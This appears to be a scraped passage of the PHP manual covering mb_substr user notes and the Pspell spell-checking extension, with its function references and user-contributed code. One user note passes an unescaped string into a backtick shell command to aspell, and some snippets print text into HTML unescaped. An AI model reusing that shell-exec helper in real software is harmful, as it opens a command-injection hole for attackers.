        } else if ($c == "/") {
            $has['slash'] = "slash";
        } else if ($c == ":") {
            $has['colon'] = "colon";
        } else if (($c >= " ") && ($c <= "~")) {
            $has['ascii'] = "ascii";
        } else {
            $has['binary'] = "binary";
        }
    }
    mb_internal_encoding($current_encoding);

    return $has;
}

$string = "1234asdfA£^_{}|}~žščř";
echo print_r(get_character_classes($string), true);
?>

Array
(
    [numeric] => numeric
    [alpha] => alpha
    [alphalower] => alphalower
    [alphaupper] => alphaupper
    [currency] => currency
    [ascii] => ascii
    [binary] => binary
)
qeremy [atta] gmail [dotta] com 28-Feb-2012 12:58
A proper (logical) alternative for unicode strings;

<?php
function substr_unicode($str, $s, $l = null) {
    return join("", array_slice(
        preg_split("//u", $str, -1, PREG_SPLIT_NO_EMPTY), $s, $l));
}

$str = "Büyük";
$s = 0; // start from "0" (nth) char
$l = 3; // get "3" chars
echo substr($str, $s, $l) ."\n";    // Bü
echo mb_substr($str, $s, $l) ."\n"; // Bü
echo substr_unicode($str, $s, $l);  // Büy
?>
p dot assenov at aip-solutions dot com 02-Dec-2011 06:17
I'm trying to capitalize only the first character of the string and tried some of the examples above but they didn't work. It seems mb_substr() cannot calculate the length of the string in multi-byte encoding (UTF-8) and it should be set explicitly. Here is the corrected version:

<?php
function mb_ucfirst($str, $enc = 'utf-8') {
    return mb_strtoupper(mb_substr($str, 0, 1, $enc), $enc).mb_substr($str, 1, mb_strlen($str, $enc), $enc);
}
?>

cheers!
levani9191 at gmail dot com 18-Jul-2010 12:37
A simple code that check if the latest symbol in the string is a question mark and adds one if it doesn't...

<?php $string = (mb_substr($string, -1, 1, 'UTF-8') != '?') ? $string.'?' : $string; ?>
Anonymous 26-Feb-2010 02:15
If start  is negative, the returned string will start at the start'th character from the end of string
projektas at gmail dot com 21-Oct-2008 03:29
First letter in upper case <hr />

<?php
header ('Content-type: text/html; charset=utf-8');

if (isset($_POST['check']) && !empty($_POST['check'])) {
    echo htmlspecialchars(ucfirst_utf8($_POST['check']));
} else {
    echo htmlspecialchars(ucfirst_utf8('Žąsinų'));
}

function ucfirst_utf8($str) {
    if (mb_check_encoding($str,'UTF-8')) {
        $first = mb_substr(
            mb_strtoupper($str, "utf-8"),0,1,'utf-8'
        );
        return $first.mb_substr(
            mb_strtolower($str,"utf-8"),1,mb_strlen($str),'utf-8'
        );
    } else {
        return $str;
    }
}
?>

<form method="post" action="" >
    <input type="input" name="check" />
    <input type="submit" />
</form>
Silvan 02-Sep-2007 12:30
Passing null as length will not make mb_substr use it's default, instead it will interpret it as 0.
<?php
mb_substr($str,$start,null,$encoding); //Returns '' (empty string) just like substr()
?>
Instead use:
<?php
mb_substr($str,$start,mb_strlen($str),$encoding);
?>
xiaogil at yahoo dot fr 02-Aug-2005 05:33
Thanks Darien from /freenode #php for the following example (a little bit changed).

It just prints the 6th character of $string.
You can replace the digits by the same in japanese, chinese or whatever language to make a test, it works perfect.

<?php
mb_internal_encoding("UTF-8");
$string = "0123456789";
$mystring = mb_substr($string,5,1);
echo $mystring;
?>

(I couldn't replace 0123456789 by chinese numbers for example here, because it's automatically converted into latin digits on this website, look :
&#38646;&#19968;&#20108;&#19977;&#22235;
&#20116;&#20845;&#19971;&#20843;&#20061;)

gilv
drraf at tlen dot pl 23-Feb-2005 03:44
Note: If borders are out of string - mb_string() returns empty _string_, when function substr() returns _boolean_ false in this case.
Keep this in mind when using "===" comparisions.

Example code:
<?php

var_dump( substr( 'abc', 5, 2 ) ); // returns "false"
var_dump( mb_substr( 'abc', 5, 2 ) ); // returns ""

?>

It's especially confusing when using mbstring with function overloading turned on.


Pspell

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Pspell Functions
    • pspell_add_to_personal — Add the word to a personal wordlist
    • pspell_add_to_session — Add the word to the wordlist in the current session
    • pspell_check — Check a word
    • pspell_clear_session — Clear the current session
    • pspell_config_create — Create a config used to open a dictionary
    • pspell_config_data_dir — location of language data files
    • pspell_config_dict_dir — Location of the main word list
    • pspell_config_ignore — Ignore words less than N characters long
    • pspell_config_mode — Change the mode number of suggestions returned
    • pspell_config_personal — Set a file that contains personal wordlist
    • pspell_config_repl — Set a file that contains replacement pairs
    • pspell_config_runtogether — Consider run-together words as valid compounds
    • pspell_config_save_repl — Determine whether to save a replacement pairs list along with the wordlist
    • pspell_new_config — Load a new dictionary with settings based on a given config
    • pspell_new_personal — Load a new dictionary with personal wordlist
    • pspell_new — Load a new dictionary
    • pspell_save_wordlist — Save the personal wordlist to a file
    • pspell_store_replacement — Store a replacement pair for a word
    • pspell_suggest — Suggest spellings of a word

User Contributed Notes

Andreas 20-Sep-2013 04:38
I've checked sources of PHP versions 5.3.27 and 5.5.4

Both include pspell:
php-5.5.4/ext/pspell
php-5.3.27/ext/pspell

Nevertheless, if you use precompiled versions you may have a different impression (e.g. on Ubuntu you need to install the package php5-pspell).


Introduction

These functions allow you to check the spelling of a word and offer suggestions.

User Contributed Notes

There are no user contributed notes for this page.


Requirements

To compile PHP with pspell support, you need the aspell library, available from » http://aspell.net/.

User Contributed Notes

There are no user contributed notes for this page.


Installation

If you have the libraries needed add the --with-pspell[=dir] option when compiling PHP.

Note: Note to Win32 Users

In order for this extension to work, there are DLL files that must be available to the Windows system PATH. For information on how to do this, see the FAQ entitled "How do I add my PHP directory to the PATH on Windows". Although copying DLL files from the PHP folder into the Windows system directory also works (because the system directory is by default in the system's PATH), this is not recommended. This extension requires the following files to be in the PATH: aspell-15.dll from the bin folder of the aspell installation.

Win32 support is available only in PHP 4.3.3 and later versions. Also, at least aspell version 0.50 is required.

User Contributed Notes

juliusdavies at gmail dot com 19-Mar-2009 01:06
Aspell + PHP + Windows was giving me just crazy crashes with this simple test file:

<?php
$pspell_link = pspell_new("en");
?>

Running "php -f test.php" directly from a DOS prompt shed some light:

----------------
The file "C:\Program Files\Aspell\data/iso8859-1.dat" can not be opened for reading.pell\dict/en-only.rws:
----------------

To fix it I needed to "dos2unix" all the files in Aspell's C:\Program Files\Aspell\data\ directory.  (Convert them from CRLF to just LF line endings).


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

PSPELL_FAST (integer)
PSPELL_NORMAL (integer)
PSPELL_BAD_SPELLERS (integer)
PSPELL_RUN_TOGETHER (integer)

User Contributed Notes

There are no user contributed notes for this page.


Pspell Functions

Table of Contents

  • pspell_add_to_personal — Add the word to a personal wordlist
  • pspell_add_to_session — Add the word to the wordlist in the current session
  • pspell_check — Check a word
  • pspell_clear_session — Clear the current session
  • pspell_config_create — Create a config used to open a dictionary
  • pspell_config_data_dir — location of language data files
  • pspell_config_dict_dir — Location of the main word list
  • pspell_config_ignore — Ignore words less than N characters long
  • pspell_config_mode — Change the mode number of suggestions returned
  • pspell_config_personal — Set a file that contains personal wordlist
  • pspell_config_repl — Set a file that contains replacement pairs
  • pspell_config_runtogether — Consider run-together words as valid compounds
  • pspell_config_save_repl — Determine whether to save a replacement pairs list along with the wordlist
  • pspell_new_config — Load a new dictionary with settings based on a given config
  • pspell_new_personal — Load a new dictionary with personal wordlist
  • pspell_new — Load a new dictionary
  • pspell_save_wordlist — Save the personal wordlist to a file
  • pspell_store_replacement — Store a replacement pair for a word
  • pspell_suggest — Suggest spellings of a word

User Contributed Notes

golotyuk at gmail dot com 24-Dec-2009 10:40
Manuall php installation on Debian/Ubuntu will require you to:

apt-get install libpspell-dev
dylan at wedefy dot com 19-Oct-2007 02:36
preg_replace_callback() is the best way I found to check words in a large text and change the HTML color of words that are not found.  Here is a script I wrote which does just that, and optionally uses pspell_suggest() to auto-correct. I would love to write a better regex to ignore <text inside xml tags>, but that really isn't as easy as it sounds...
<?php
$pspell = pspell_new('en','canadian','','utf-8',PSPELL_FAST);

function spellCheckWord($word) {
    global $pspell;
    $autocorrect = TRUE;

    // Take the string match from preg_replace_callback's array
    $word = $word[0];

    // Ignore ALL CAPS
    if (preg_match('/^[A-Z]*$/',$word)) return $word;

    // Return dictionary words
    if (pspell_check($pspell,$word))
        return $word;

    // Auto-correct with the first suggestion, color green
    if ($autocorrect && $suggestions = pspell_suggest($pspell,$word))
        return '<span style="color:#00FF00;">'.current($suggestions).'</span>';

    // No suggestions, color red
    return '<span style="color:#FF0000;">'.$word.'</span>';
}

function spellCheck($string) {
    return preg_replace_callback('/\b\w+\b/','spellCheckWord',$string);
}

echo spellCheck('PHP is a reflecktive proegramming langwage origenaly dezigned for prodewcing dinamic waieb pagges.');
?>
OUTPUT: PHP is a reflective programming language originally designed for producing dynamic Web pages.
fragment 12-Apr-2007 07:12
To get round the error on Windows where the word list can't be found inside functions, take the call to pspell_new() out of the function and pass the return value to your function, i.e.

<?
function testSpell($pspell_link) {
    echo pspell_check($pspell_link, "test") ? 'OK' : 'Not OK';
}
$pspell_link = pspell_new("en");
testSpell($pspell_link);
?>
Alan Dunsmuir<alan at moonrake dot demon dot co dot uk> 14-Mar-2007 10:28
There appears to be a problem currently affecting PSpell functionality on Windows machines.

Currently, the compiled build of PHP5 for Windows does not by default include PSpell, and to activate these functions the Windows user has to (a) install GNU ASpell; (b) copy the file aspell-15.dll to a directory in the Windows "Path" statement (typically C:\Windows\System32); (c) install one or more ASpell dictionaries; (d) enable the PSpell extension to PHP by adding a reference to php_pspell.dll in the php.ini file, and moving the file itself to the main PHP directory.

However, when this has all been done and PSpell appears to have been fully activated, there remains a problem. While all the PSpell functions work as specified when referenced from the "main" body of PHP code, if they are placed within a PHP function, the system reports that it is unable to find any word lists for the specified dictionary (whichever one is chosen).

I have a sample of PSpell-using code (taken from the SAMS book PHP 5 In Practice) which works perfectly on a Unix-based Web Server, but which fails with the indicated error message on a range of Windows machines.
sholland at napervillegi dot com 28-Oct-2006 08:48
Back in 10/2002 csnyder at chxo dot com wrote the first comment about the spell functions, and wrote a very sophisticated spell check with a direct call to aspell.  In a similar vein, I wrote a simplified a PHP function that will spell check a string and insert tags before and after the misspelled words. Auto-correction is not offered.

<?
function spellcheck($string) {
// Entry:    $string: Text to spellcheck.
// Returns: string with '<strong>' and '</strong>' inserted before and
//            after misspellings.

    $pre='<strong>'; // Inserted before each mis-spelling.
    $post='</strong>'; // Inserted after each mis-spelling.
    $string=strtr($string,"\n"," ");
        // Drop newlines in string. (It bothers aspell in this context.)
    $mistakes = `echo $string | /usr/local/bin/aspell list`;
        // Get list or errors.
    $offset=0;
    foreach (explode("\n",$mistakes) as $word)
        // Walk list, inserting $pre and $post strings.  I move along and
        // do the insertions, keeping track of the location.  A global replace
        // with str_replace($string,$pre.$work.$post) is problematic if the
        // same misspelling is found more than once.
        if ($word<>"") {
            $offset=strpos($string,$word,$offset);
            $string=substr_replace($string, $post, $offset+strlen($word), 0);
            $string=substr_replace($string, $pre, $offset, 0);
            $offset=$offset+strlen($word)+strlen("$pre $post");
            };
    return $string;};
?>

For this to work on your system, see if /usr/local/bin/aspell list runs from the shell.  It needs to get input from standard input.  You may not be able to run apell without the path for PHP because the PATH variable may be different in the PHP invocation from a shell invocation.
andrew at bluerhinos dot co dot uk 03-May-2006 12:28
If you use red hat or fedora, you may need to is use

  yum install pspell-devel

(fixes: configure: error: Cannot find pspell)
jeremy hepler 29-Mar-2006 09:01
compiling php with pspell on debian sarge:

apt-get install aspell libaspell15 libaspell-dev libpspell-dev

configure php:

./configure <your other options> --with-pspell=/usr

make & install

if previous tries have failed or it is not functioning properly, unpack the php source again and configure / compile in a fresh tree
Gregory Boshoff 14-May-2005 01:23
If you are receiving the error message:
PSPELL couldn't open the dictionary. reason:
No word lists can be found for the language "en".

Add following lines prior to calling pspell_check:
$pspell_config = pspell_config_create("en");
$pspell_link = pspell_new_config($pspell_config);
flint at modulusgroup dot com 29-Dec-2004 11:19
For those will problems installing on Win32 with IIS:

Symptom: browser just hangs when calling pspell function. Running PHP.exe from command line causes pspell to claim that there is a corrupt file. Running Aspell works just fine on the command line.

You need new data files:

You can download and get more information about it here:
http://wiki.wordpress.org/SpellCheck

Just replace the data directory in C:\Programs Files\Aspell\ with the new data directory you downloaded.

No more problems.
tidd 28-Sep-2004 07:31
In response to csnyder's comment about calling aspell instead of using the aspell or pspell libs:

If you are running a low traffic site this will work fine and it's a good idea.

If, however, you have many customers using your spell checking script, this method does not scale well and you should consider spending the time to make the libs work properly.
webmaster at script-tease dot net 12-Apr-2004 04:26
Easy way to make a spellchecker:

<?

function spellcheck ( $string ) {
    $words = preg_split('/[\W]+?/',$string);
    $misspelled = $return = array();
    $int = pspell_new('en');
    foreach ($words as $value) {
        if (!pspell_check($int, $value)) {
            $misspelled[] = $value;
        }
    }
    foreach ($misspelled as $value) {
        $return[$value] = pspell_suggest($int, $value);
    }
    return $return;
}

?>
jrweir _a_t_ yahoo 30-Mar-2004 08:15
I had the same problems after following the detailed instructions for installing on windows but was able to solve them by doing the following:

first, I copied all the files in the data directory of the aspell install (ie. C:\Program Files\Aspell\data) to a unix machine and ran dos2unix on all of the files and then copied them back.

second, added this line before the pspell_new("en") call
pspell_config_create("en");

hope this works for you too.
kevina at gnu dot org 12-Jan-2003 11:19
Aspell Author Here.

Since Aspell 0.50, Pspell is no longer used.  It is not necessary to download and install the Pspell package, only Aspell 0.50 (or better) is required.  Aspell now provided a backwards compatibility interface for programs expecting the old Pspell interface (such as PHP).

Even though Aspell now provided a new "Aspell" interface this, the PHP Pspell interface is the one you want to use.  The Aspell PHP interface is the one used with a *very* old version of Aspell as the manual says.

Sorry if this is confusing, but it is not really my fought as I have no control over PHP development.  Eventually a new Aspell interface should be provided for PHP which uses the new Aspell interface provided with Aspell 0.50 but for now the Pspell interface will work just fine.

Note: If you wish to use an older version of Aspell (_before_ 0.50) than both Aspell and Pspell are required.
csnyder at chxo dot com 11-Oct-2002 09:37
As an alternative to mucking about with the compiled-in aspell/pspell functions, which only check word by word, one could write a script that calls aspell as a shell exec to check a whole block of text:

http://chxo.com/scripts/spellcheck.php
(there is a view-source option)

Not sure about Linux or Windows, but installing aspell on FreeBSD was trivially easy from the ports collection. No doubt such a script could be easily modified to use ispell instead if you'd rather.


Add the word to a personal wordlist

  • « Pspell Functions
  • pspell_add_to_session »
  • PHP Manual
  • Pspell Functions
  • Add the word to a personal wordlist

pspell_add_to_personal

(PHP 4 >= 4.0.2, PHP 5)

pspell_add_to_personal — Add the word to a personal wordlist

Description

bool pspell_add_to_personal ( int $dictionary_link , string $word )

pspell_add_to_personal() adds a word to the personal wordlist. If you used pspell_new_config() with pspell_config_personal() to open the dictionary, you can save the wordlist later with pspell_save_wordlist().

Parameters

dictionary_link

word

The added word.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 pspell_add_to_personal()

<?php
$pspell_config = pspell_config_create("en");
pspell_config_personal($pspell_config, "/var/dictionaries/custom.pws");
$pspell_link = pspell_new_config($pspell_config);

pspell_add_to_personal($pspell_link, "Vlad");
pspell_save_wordlist($pspell_link);
?>

Notes

Note:

This function will not work unless you have pspell .11.2 and aspell .32.5 or later.

User Contributed Notes

There are no user contributed notes for this page.


Add the word to the wordlist in the current session

  • « pspell_add_to_personal
  • pspell_check »
  • PHP Manual
  • Pspell Functions
  • Add the word to the wordlist in the current session

pspell_add_to_session

(PHP 4 >= 4.0.2, PHP 5)

pspell_add_to_session — Add the word to the wordlist in the current session

Description

bool pspell_add_to_session ( int $dictionary_link , string $word )

pspell_add_to_session() adds a word to the wordlist associated with the current session. It is very similar to pspell_add_to_personal()

Parameters

dictionary_link

word

The added word.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

admin at codefisher dot org 12-Sep-2007 10:08
This function does not accept hyphenated words, which is kind of annoying.


Check a word

  • « pspell_add_to_session
  • pspell_clear_session »
  • PHP Manual
  • Pspell Functions
  • Check a word

pspell_check

(PHP 4 >= 4.0.2, PHP 5)

pspell_check — Check a word

Description

bool pspell_check ( int $dictionary_link , string $word )

pspell_check() checks the spelling of a word.

Parameters

dictionary_link

word

The tested word.

Return Values

Returns TRUE if the spelling is correct, FALSE if not.

Examples

Example #1 pspell_check() Example

<?php
$pspell_link = pspell_new("en");

if (pspell_check($pspell_link, "testt")) {
    echo "This is a valid spelling";
} else {
    echo "Sorry, wrong spelling";
}
?>

User Contributed Notes

Jcart 06-Oct-2005 03:50
<?php

//should be using explode instead of implode
//$word = implode(" ", $message);
$word = explode(" ", $message);
foreach($word as $k => $v) {
   if (pspell_check($pspell_link, $v)) {
      echo "spelled right";
   } else {
      echo "Sorry, wrong spelling";
   };
};

?>
chris at candm dot org dot uk 12-May-2005 02:46
<?php
/*
I had to write these routines to highlight spellings in a WYSIWYG editor.
pspell() barfed at HTML tags and entities, so this code deals with them.
ClearSpell() allows you to clear up the spellchecker mark up afterwards.*/
?>
<html>
<head>
<style>
acronym.spell
{
text-decoration:underline;
color:red;
cursor:help;
}
</style>
</head>
<body>
<?php
    $t = "<font color=blue>text herre &amp; some more</font>";
    echo "Before:$t";
    $t = SpellCheck($t);
    echo "<hr>After SpellCheck: $t";
    $t = ClearSpell($t);
    echo "<hr>After ClearSpell: $t";
?>
</body>
</html>

<?php

function SpellCheck($text)
{
//depends on fnSpell()
// Extracts text from HTML code. In addition to normal word separators,  HTML tags
// and HTML entities also function as word delimiters

    $pspell_link = pspell_new("en"); //0. Get the dictionary
    $strings = explode(">", $text);  //1. Split $text on '>' to give us $strings with 0 or 1 HTML tags at the end
    $nStrings = count($strings);

    for ($cStrings=0; $cStrings < $nStrings; $cStrings++)
    {
        $string = $strings[$cStrings]; //2. For each string from 1

        if ($string =='')
            continue;

        $temp  = explode('<', $string); //2.1   Split $string from $strings on '>' to give us a $tag and $cdata
        $tag = $temp[1];
        $cdata = $temp[0];

        $subCdatas = explode(";", $cdata);  //2.2 Split &cdata on ';' to give $subcdatas with 0 or 1 HTML entities on the end
        $nSubCdatas = count($subCdatas);    //2.3   For each $subCdata from $subcdatas in 2.2

        for ($cSubCdatas = 0; $cSubCdatas < $nSubCdatas; $cSubCdatas++)
        {
            $subCdata = $subCdatas[$cSubCdatas];

            if ($subCdata == '')
                continue;

            $temp = explode('&', $subCdata); //2.3.1     Split the $subCdata on '&' to give us a $subCdataEntity and a $subCdataWithNoEntities
            $subCdataEntity = $temp[1];
            $subCdataWithNoEntities = $temp[0];
            $subCdataWithNoEntities = fnSpell($pspell_link, $subCdataWithNoEntities); //2.3.2     Spellcheck the $cdataWithNoEntities

            if (!$subCdataEntity ) //2.3.3        Put the $subCdataEntity, a '&' and the $cdataWithNoEntities back into the $subCdata from 2.2
                $subCdata = $subCdataWithNoEntities;
            else
                $subCdata = $subCdataWithNoEntities. '&' . $subCdataEntity . ';' ;

            $subCdatas[$cSubCdatas] = $subCdata; //2.3.4        Put the $subCdata back into the array of $subCdatas
        }

        $cdata = implode("", $subCdatas); //2.4    Implode the array of $subCdatas back into the $cdata

        if ($tag) //2.5    Put the $tag , '>' and $cdata back into $string
            $string = $cdata . '<' . $tag . '>';
        else
            $string = $cdata;

        $strings[$cStrings] = $string; //2.6    Put $string back in its place in $strings
    }

    $text = implode('', $strings);     //3  Implode the $strings back into $text
    return $text;

}

function fnSpell($pspell_link, $string)
{

   preg_match_all("/[A-Z\']{1,16}/i", $string, $words);

   for ($i = 0; $i < count($words[0]); $i++)
   {
        $currentword = $words[0][$i];

        if (!pspell_check($pspell_link, $currentword))
        {
            $wordarray = pspell_suggest($pspell_link, $currentword);
                $words = implode(', ', $wordarray);
                $suggest = "<acronym class='spell' title='$words'>$currentword</acronym class='spell'>";
            $string = str_replace($currentword, $suggest, $string);
        }

    }
    return $string;
}

function ClearSpell($text)
{
    $strings = explode(">", $text);
    $nStrings = count($strings);

    for ($cStrings=0; $cStrings < $nStrings; $cStrings++)
    {
        $string = $strings[$cStrings];

        if ($string =='')
            continue;

        $temp  = explode('<', $string);
        $tag = $temp[1];
        $cdata = $temp[0];

        if ( strstr($tag, 'acronym') && strstr($tag, "class='spell'") )
            $string = $cdata;
        else
            $string = $cdata . '<' . $tag . '>';

        $strings[$cStrings] = $string;
    }

    $text = implode('', $strings);
    return $text;
}
?>
si at youbeenx dot com 22-Mar-2005 02:32
I felt that it would help to expand on batch spell checking using this function. The previously posted example implodes using spaces as the separator for each word. There are however situations in which doing this will not return the desired result. For example, "Hello, I like coding." will return an array with two problems, "Hello," and "coding.", both these words are spelt correctly, but pspell_check() will deem them as spelled incorrectly because a comma or a period is being passed in to the function along with the word. The following example allows you to extract only the words (using regular expressions to ignore grammar such as periods or commas) in to an array and then add in html font tags to highlight all words spelled incorrectly red before returning the string.

<?

Function SpellCheck($string) {

    $pspell_link = pspell_new("en");
    preg_match_all("/[A-Z\']{1,16}/i", $string, $words);

    for ($i = 0; $i < count($words[0]); $i++) {

        if (!pspell_check($pspell_link, $words[0][$i])) {

            $string = str_replace($words[0][$i], "<font color=\"#FF0000\">" . $words[0][$i] . "</font>", $string);

        }

    }

    return $string;

}

?>


Clear the current session

  • « pspell_check
  • pspell_config_create »
  • PHP Manual
  • Pspell Functions
  • Clear the current session

pspell_clear_session

(PHP 4 >= 4.0.2, PHP 5)

pspell_clear_session — Clear the current session

Description

bool pspell_clear_session ( int $dictionary_link )

pspell_clear_session() clears the current session. The current wordlist becomes blank, and, for example, if you try to save it with pspell_save_wordlist(), nothing happens.

Parameters

dictionary_link

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 pspell_add_to_personal() Example

<?php
$pspell_config = pspell_config_create("en");
pspell_config_personal($pspell_config, "/var/dictionaries/custom.pws");
$pspell_link = pspell_new_config($pspell_config);

pspell_add_to_personal($pspell_link, "Vlad");
pspell_clear_session($pspell_link);
pspell_save_wordlist($pspell_link);    //"Vlad" will not be saved
?>

User Contributed Notes

There are no user contributed notes for this page.


Create a config used to open a dictionary

  • « pspell_clear_session
  • pspell_config_data_dir »
  • PHP Manual
  • Pspell Functions
  • Create a config used to open a dictionary

pspell_config_create

(PHP 4 >= 4.0.2, PHP 5)

pspell_config_create — Create a config used to open a dictionary

Description

int pspell_config_create ( string $language [, string $spelling [, string $jargon [, string $encoding ]]] )

Create a config used to open a dictionary.

pspell_config_create() has a very similar syntax to pspell_new(). In fact, using pspell_config_create() immediately followed by pspell_new_config() will produce the exact same result. However, after creating a new config, you can also use pspell_config_*() functions before calling pspell_new_config() to take advantage of some advanced functionality.

For more information and examples, check out inline manual pspell website:» http://aspell.net/.

Parameters

language

The language parameter is the language code which consists of the two letter ISO 639 language code and an optional two letter ISO 3166 country code after a dash or underscore.

spelling

The spelling parameter is the requested spelling for languages with more than one spelling such as English. Known values are 'american', 'british', and 'canadian'.

jargon

The jargon parameter contains extra information to distinguish two different words lists that have the same language and spelling parameters.

encoding

The encoding parameter is the encoding that words are expected to be in. Valid values are 'utf-8', 'iso8859-*', 'koi8-r', 'viscii', 'cp1252', 'machine unsigned 16', 'machine unsigned 32'. This parameter is largely untested, so be careful when using.

Return Values

Retuns a pspell config identifier, or FALSE on error.

Examples

Example #1 pspell_config_create()

<?php
$pspell_config = pspell_config_create("en");
pspell_config_personal($pspell_config, "/var/dictionaries/custom.pws");
pspell_config_repl($pspell_config, "/var/dictionaries/custom.repl");
$pspell_link = pspell_new_personal($pspell_config, "en");
?>

User Contributed Notes

There are no user contributed notes for this page.


location of language data files

  • « pspell_config_create
  • pspell_config_dict_dir »
  • PHP Manual
  • Pspell Functions
  • location of language data files

pspell_config_data_dir

(PHP 5)

pspell_config_data_dir — location of language data files

Description

bool pspell_config_data_dir ( int $conf , string $directory )

Warning

This function is currently not documented; only its argument list is available.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

alexxed at gmail dot com 15-Oct-2007 09:21
Here's an example of how to use pspell when you don't want or you can't use the dictionaries installed on the system.
<?
$text_to_check = 'I can sspeak English';
// optional. clean text a bit
$clean_text_to_check = preg_replace('/[^a-z0-9\-\.!;]+/i', ' ', $text_to_check);
// get a word list
$word_list = preg_split('/\s+/', $clean_text_to_check);

$pspell_config = pspell_config_create("en", null, null, 'utf-8');

// if the aspell dictionaries that you want are not installed,
// copy the aspell dictionaries and set the path to the dictionaries here
pspell_config_data_dir($pspell_config, "/home/alex/dictionaries/");
pspell_config_dict_dir($pspell_config, "/home/alex/dictionaries/");
$pspell_link = pspell_new_config($pspell_config);

foreach($word_list as $word) {

    if (!pspell_check($pspell_link, trim($word))) {
        $suggestions = pspell_suggest($pspell_link, trim($word));

        echo $word . ' misspelled <br />';
        foreach ($suggestions as $suggestion) {
            echo "\t Possible spelling: $suggestion <br />";
        }
    }
    else {
        // correct spelling
    }
}
?>


Location of the main word list

  • « pspell_config_data_dir
  • pspell_config_ignore »
  • PHP Manual
  • Pspell Functions
  • Location of the main word list

pspell_config_dict_dir

(PHP 5)

pspell_config_dict_dir — Location of the main word list

Description

bool pspell_config_dict_dir ( int $conf , string $directory )

Warning

This function is currently not documented; only its argument list is available.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Ignore words less than N characters long

  • « pspell_config_dict_dir
  • pspell_config_mode »
  • PHP Manual
  • Pspell Functions
  • Ignore words less than N characters long

pspell_config_ignore

(PHP 4 >= 4.0.2, PHP 5)

pspell_config_ignore — Ignore words less than N characters long

Description

bool pspell_config_ignore ( int $dictionary_link , int $n )

pspell_config_ignore() should be used on a config before calling pspell_new_config(). This function allows short words to be skipped by the spell checker.

Parameters

dictionary_link

n

Words less than n characters will be skipped.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 pspell_config_ignore()

<?php
$pspell_config = pspell_config_create("en");
pspell_config_ignore($pspell_config, 5);
$pspell_link = pspell_new_config($pspell_config);
pspell_check($pspell_link, "abcd");    //will not result in an error
?>

User Contributed Notes

There are no user contributed notes for this page.


Change the mode number of suggestions returned

  • « pspell_config_ignore
  • pspell_config_personal »
  • PHP Manual
  • Pspell Functions
  • Change the mode number of suggestions returned

pspell_config_mode

(PHP 4 >= 4.0.2, PHP 5)

pspell_config_mode — Change the mode number of suggestions returned

Description

bool pspell_config_mode ( int $dictionary_link , int $mode )

pspell_config_mode() should be used on a config before calling pspell_new_config(). This function determines how many suggestions will be returned by pspell_suggest().

Parameters

dictionary_link

mode

The mode parameter is the mode in which spellchecker will work. There are several modes available:

  • PSPELL_FAST - Fast mode (least number of suggestions)
  • PSPELL_NORMAL - Normal mode (more suggestions)
  • PSPELL_BAD_SPELLERS - Slow mode (a lot of suggestions)

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 pspell_config_mode() Example

<?php
$pspell_config = pspell_config_create("en");
pspell_config_mode($pspell_config, PSPELL_FAST);
$pspell_link = pspell_new_config($pspell_config);
pspell_check($pspell_link, "thecat");
?>

User Contributed Notes

There are no user contributed notes for this page.


Set a file that contains personal wordlist

  • « pspell_config_mode
  • pspell_config_repl »
  • PHP Manual
  • Pspell Functions
  • Set a file that contains personal wordlist

pspell_config_personal

(PHP 4 >= 4.0.2, PHP 5)

pspell_config_personal — Set a file that contains personal wordlist

Description

bool pspell_config_personal ( int $dictionary_link , string $file )

Set a file that contains personal wordlist. The personal wordlist will be loaded and used in addition to the standard one after you call pspell_new_config(). The file is also the file where pspell_save_wordlist() will save personal wordlist to.

pspell_config_personal() should be used on a config before calling pspell_new_config().

Parameters

dictionary_link

file

The personal wordlist. If the file does not exist, it will be created. The file should be writable by whoever PHP runs as (e.g. nobody).

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 pspell_config_personal()

<?php
$pspell_config = pspell_config_create("en");
pspell_config_personal($pspell_config, "/var/dictionaries/custom.pws");
$pspell_link = pspell_new_config($pspell_config);
pspell_check($pspell_link, "thecat");
?>

Notes

Note:

This function will not work unless you have pspell .11.2 and aspell .32.5 or later.

User Contributed Notes

Anonymous 05-Feb-2009 04:49
There is no error if the file does not exists. So if you are debugging, check wheter the file really exists.


Set a file that contains replacement pairs

  • « pspell_config_personal
  • pspell_config_runtogether »
  • PHP Manual
  • Pspell Functions
  • Set a file that contains replacement pairs

pspell_config_repl

(PHP 4 >= 4.0.2, PHP 5)

pspell_config_repl — Set a file that contains replacement pairs

Description

bool pspell_config_repl ( int $dictionary_link , string $file )

Set a file that contains replacement pairs.

The replacement pairs improve the quality of the spellchecker. When a word is misspelled, and a proper suggestion was not found in the list, pspell_store_replacement() can be used to store a replacement pair and then pspell_save_wordlist() to save the wordlist along with the replacement pairs.

pspell_config_repl() should be used on a config before calling pspell_new_config().

Parameters

dictionary_link

file

The file should be writable by whoever PHP runs as (e.g. nobody).

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 pspell_config_repl()

<?php
$pspell_config = pspell_config_create("en");
pspell_config_personal($pspell_config, "/var/dictionaries/custom.pws");
pspell_config_repl($pspell_config, "/var/dictionaries/custom.repl");
$pspell_link = pspell_new_config($pspell_config);
pspell_check($pspell_link, "thecat");
?>

Notes

Note:

This function will not work unless you have pspell .11.2 and aspell .32.5 or later.

User Contributed Notes

There are no user contributed notes for this page.


Consider run-together words as valid compounds

  • « pspell_config_repl
  • pspell_config_save_repl »
  • PHP Manual
  • Pspell Functions
  • Consider run-together words as valid compounds

pspell_config_runtogether

(PHP 4 >= 4.0.2, PHP 5)

pspell_config_runtogether — Consider run-together words as valid compounds

Description

bool pspell_config_runtogether ( int $dictionary_link , bool $flag )

This function determines whether run-together words will be treated as legal compounds. That is, "thecat" will be a legal compound, although there should be a space between the two words. Changing this setting only affects the results returned by pspell_check(); pspell_suggest() will still return suggestions.

pspell_config_runtogether() should be used on a config before calling pspell_new_config().

Parameters

dictionary_link

flag

TRUE if run-together words should be treated as legal compounds, FALSE otherwise.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 pspell_config_runtogether()

